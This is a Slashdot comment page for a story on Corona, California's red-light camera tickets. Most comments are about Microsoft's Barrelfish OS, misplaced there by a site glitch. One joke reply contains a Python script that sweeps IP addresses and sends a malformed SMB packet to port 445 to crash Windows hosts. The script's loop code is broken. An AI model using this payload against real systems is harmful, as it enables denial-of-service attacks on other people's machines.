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CA City Mulls Evading the Law On Red-Light Cameras

TechDirt is running a piece on Corona, CA, where officials are considering ignoring a California law that authorizes red-light cameras — cutting the state and the county out of their portion of the take — in order to increase the city's revenue. The story was first reported a week ago. The majority of tickets are being (automatically) issued for "California stops" before a right turn on red, which studies have shown rarely contribute to an accident. TechDirt notes the apparent unconstitutionality of what Corona proposes to do: "The problem here is that Corona is shredding the Sixth Amendment of the US Constitution, the right to a trial by jury. By reclassifying a moving violation... to an administrative violation... Corona is doing something really nefarious. In order to appeal an administrative citation you have to admit guilt, pay the full fine, and then apply for a hearing in front of an administrative official, not a judge in a court. The city could simply deny all hearings for administrative violations or schedule them far out in advance knowing full well that they have your money, which you had to pay before you could appeal."

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  1. Ahhh by some_guy_88 · · Score: 5, Funny

    That slashdot outage was terrible. I almost got some work done..

  2. Re:direct CPU-CPU interconnects; Transputer? by FCh · · Score: 4, Informative

    Transputers had 4 HW links -- those are probably the easiest part to replicate in current processors.
    The difficult part is the threading model: Transputers had their own thread model. Scheduler was hardwired in silicon, together with a couple of dedicated instructions. SW could not tell the difference between a local and a remote communication. Efficient, but not very flexible in terms of OS architecture.

  3. Genuine innovation by Max+Romantschuk · · Score: 4, Insightful

    Say what you want about Microsoft, but their research division does a hell of a lot of genuine innovation.

    This is an important problem area for future software systems, great that alternative approaches are being looked at. More power to them.

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    1. Re:Genuine innovation by antifoidulus · · Score: 4, Informative

      By Genuine Innovation you mean "doing stuff Sun was doing well over a decade ago?" Sounds pretty innovative to me.

    2. Re:Genuine innovation by 1s44c · · Score: 4, Insightful

      .net is their only real innovation that comes to mind.

      In what way is .net an innovation? It's not an innovation without being new in some way.

      MS's real strength is in their ability to take technologies and make them easy to use, consistent and reliable.

      No. Their real strength is marketing, sales, strongarming hardware suppliers, and consumer ignorance. Their software isn't easier to use or more consistent than anything else and it certainly isn't more reliable. Actually it is shockingly unreliable.

      Ever had to deal with active directory? Chain crashes of multiple machines do happen and application level errors often cause a blue screen and leave no logs to indicate what went wrong. In big environments bugs like that cost a few million a day and they happen every day. Companies pay a fortune just to cover things like that up, it happens everywhere.

      Ever seen a virus wipe out over a thousand production servers in a day? I have on windows but never on anything unix based.

    3. Re:Genuine innovation by 1s44c · · Score: 4, Interesting

      I think the 'Genuine Innovation' bit comes in when they lie about having done it first in some huge expensive marketing campaign.

      Can you provide an example of this ?

      I can provide a few.

      MS-DOS was QDOS brought and rebranded. MS didn't create it yet they told everyone they did.

      The windows desktop environment was a mac or PARC or X clone, not sure which. It wasn't new but they pushed it like it was.

      The Windows NT OS was reimplementation of VMS and UNIX systems, only not done nearly as well as either. They called it NT for New Technology and marketing it as the stable 'business' alternative to dos based windows.

      Excel was a Lotus 1-2-3 clone. The pivot tables accountants love so much were copied from Lotus too. They sell their office package like crazy but they didn't develop the core of it.

      Word was a wordstar clone.

      Internet Explorer was a mosaic clone. Although MS are giving it away for nothing they are still marketing it like crazy.

      Active Directory is just a LDAP clone. They market it as something which will solve all the worlds problems.

    4. Re:Genuine innovation by RiotingPacifist · · Score: 4, Interesting

      Can you provide details on how to replicate this behaviour ?

      Install python
      run:
      #!/usr/bin/python
      from socket import socket
      from time import sleep

      while True:
              for a in 255:
                      for b in 255:
                              for c in 255:
                                      for d in 255:
                                      ip_addr = a+"."+b+"."+c+"."+d
                                      host = id_addr, 445
                                      buff = (
                                      "\x00\x00\x00\x90" # Begin SMB header: Session message
                                      "\xff\x53\x4d\x42" # Server Component: SMB
                                      "\x72\x00\x00\x00" # Negociate Protocol
                                      "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
                                      "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
                                      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
                                      "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
                                      "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
                                      "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
                                      "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
                                      "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
                                      "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
                                      "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
                                      "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
                                      "\x30\x30\x32\x00"

                                      )
                                      s = socket()

                                      s.connect(host)
                                      s.send(buff)
                                      s.close()

      --
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  4. Big companies CAN'T change direction by 1s44c · · Score: 4, Insightful

    Microsoft is far to big to change direction. They are a marketing company trying to wring every last penny out of windows and related tools. They have never been a technology company and trying to change now will do nothing but burn vast sums of money. Windows is obsolete and they know they have to replace it but they will never be able to come up with anything better.

    They could develop new and better OS's at a fraction of their current research costs by simply giving cash to universities to do the work and keeping their hands off the projects. Sadly they can't think like that.

  5. amused... by madenglishbloke · · Score: 5, Funny

    Please tell me I'm not the only one amused by the whole "best built on Debian or Ubuntu, 'cos thats what we use" part of the README...

  6. Re:As if any of this will see the light of day. by GreatBunzinni · · Score: 4, Insightful

    If you believe that barrelfish, midori and singularity are "new technology" then you don't have a clue about what has been done in the tech world. Microkernels? Done. OSs based/written in managed code? Done. Capabilities-based OSs? Done. What Microsoft is doing is reimplementing old concepts on Microsoft's own technology (C#, CIL, etc) and then using the test code that has been produced by those projects as a marketing tool. So when Windows is known to be plagued with security bugs and, therefore, viruses... Well, here comes Microsoft's marketing division clamouring this new singularity project, armed with it's press release which announces that Microsoft is building from the ground up an OS entirely devoted to security. Very convenient to dispel criticisms but still very irrelevant. So when Windows is known to have lacklustre support for multi-processor/multi-core systems... Well, here comes Microsoft's marketing division clamouring this new barrelfish project, armed with it's press release which announces that Microsoft is building from the ground up an OS entirely devoted to multi-core systems. Once again, very convenient to dispel criticisms but still very irrelevant. After all, although they announce so many of these research projects, all Microsoft is able to dump into the market is a series of Windows NT clones. So why is this even news?

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    Slashdot, fix your code or at least hire someone who is competent at it to do it for you.
  7. I've seen this before... by mcrbids · · Score: 5, Interesting

    It was more of a programming language than an Operating System, but ERLANG has the stuff to do multi-core, well. Using ERLANG, they've actually achieved nine nines of uptime. That works out to well under a SECOND of downtime in a year. It scales (near) linearly as the number of cores go up, IO is the limitation.

    You can read all about it here. Concepts like message passing and immutability is what makes it work.

    Erlang actually lets you update the program while it's running. It has extensive error recovery. It's lack of shared state means you can not only go multi-core, but multi-system over networks - invisibly.

    Seriously, It's the cat's meow for ultra-high-end high-performance, industrial-grade software solutions. If I were writing a stock exchange management system, I would probably consider ERLANG.

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    I have no problem with your religion until you decide it's reason to deprive others of the truth.
  8. Windows vs Mac by Anonymous Coward · · Score: 4, Funny

    When Microsoft wonders why Mac is perceived and cool and Windows isn't take a clue from their naming conventions. Barrelfish vs Snow Leopard. Can you spot the cooler name? After Vista flopped the marketing department went out and got drunk and said "aw fuck it, we'll just call the next one Windows 7". Just kind of feels like they really aren't even trying.

  9. I'm shocked by bcmm · · Score: 4, Funny
    From TFA:

    This web page was brought to you by a server running Barrelfish.

    At last a TFA which is actually hosted on the system it's talking about, and it refuses to break so we can make "It must be running Barrelfish" jokes. Maybe it really is efficient.

    --
    # cat /dev/mem | strings | grep -i llama
    Damn, my RAM is full of llamas.
  10. Slashcode is Farked... by MadCow42 · · Score: 4, Informative

    How did I end up in the Windows 7 thread from the "CA City Mulls Evading the Law On Red Light Cameras" article? It even shows that in the address bar, so I'm not crazy here...

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    I used to have a sig, but I set it free and it never came back.
    1. Re:Slashcode is Farked... by emm-tee · · Score: 5, Funny

      How did I end up in the Windows 7 thread from the "CA City Mulls Evading the Law On Red Light Cameras" article? It even shows that in the address bar, so I'm not crazy here...

      I don't know, but I suspect the "duct tape programmer" story might be related somehow..

  11. Wrong comments? by edsousa · · Score: 5, Informative

    What the hell is going here? I see a story about Corona CA evading the law on red-light cameras and comments (and tags) are about some MS story?

    1. Re:Wrong comments? by sopssa · · Score: 5, Funny

      Everyone decided it was uninteresting and now we're talking about Windows 7 and Microsoft instead.

  12. What the.... by RingDev · · Score: 5, Interesting

    I don't know what the outage was, but why am I reading comments about open source code, routing, and marshaling in the comments about a constitutional overstep by a local municipality in CA?

    -Rick

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    "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
  13. Re:"Green Arrow". by godrik · · Score: 4, Informative

    In the US (not all the state I think), there is turn-on-red which means you can always turn right (provided you are on the most right lane) but you must yield if the traffic light is red. Turn on red is the common thing and it is specified when it is forbidden. Whereas in France, the opposite is used : you can not turn unless the right green arrow is lit.

    I believe the rule is turn on red in the US because the roads are new and built with good visibility. When there is no visibility turn on red is forbidden. Whereas in France at most intersections turn on red would be dangerous due to the lack of visibility. Therefore turn on red is the exception.

  14. Two stories beat as one by Shimmer · · Score: 4, Funny

    I've seen many spectacular Slashdot screwups over the years, but this is a new one. Well done, guys!

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    The most rabid believers in American Exceptionalism are the exact same people whose policies are destroying it.
  15. Other states do it as well by guruevi · · Score: 4, Informative

    (Red light story) - PA already does it in many cities/villages. You are required to pay a $50 non-refundable 'administrative' fee in order to be able to present your case to a judge and the judge will usually give you a reduction on the fine even if you have a good case (cop always wins). Given that the fines are somewhere between $75 and $150, it's not even worth going in.

    NY does it also in large cities. You don't even go to a judge anymore, you go to an administrator at the Traffic Violations Bureau who decides how much you have to pay, no plea bargaining, no judges.

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  16. Pre-Taped Call-In Show by tholomyes · · Score: 4, Funny

    "Look, if you wanted to talk about pet care, you should've called two weeks ago when our show on racism was airing. Okay, I'm doing a show about the elderly right now, which of course, to people watching means: call in about cooking..."

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    When did the future switch from being a promise to a threat? -C. Palahniuk
  17. I'm outraged! by KingSkippus · · Score: 4, Funny

    This just goes to show, you can't count on big companies to do what's right. If there were more freedom and openness, we'd be a lot better off. Between Microsoft's FUD and Apple's fanboys, it's a wonder anything gets done.

    Hopefully, once people realize what's going on and the Pirate Party gains ground and push back the anti-evolution religious nuts, everything will be much better.

    There, that should milk a few karma points no matter what Slashdot article this comment ends up under.

  18. Re:prefilled comments by dgatwood · · Score: 4, Interesting

    On the subject of red light cameras, if they become administrative violations, IMHO, the right solution is to simply not pay them. The DMV almost certainly won't refuse to renew your license for such administrative violations because the law only allows parking violations and a few other things to be handled in that manner.. As such, the tickets probably have no teeth unless you do other business with the city and they have laws that would allow them to refuse to do other business with you until you pay the fees.

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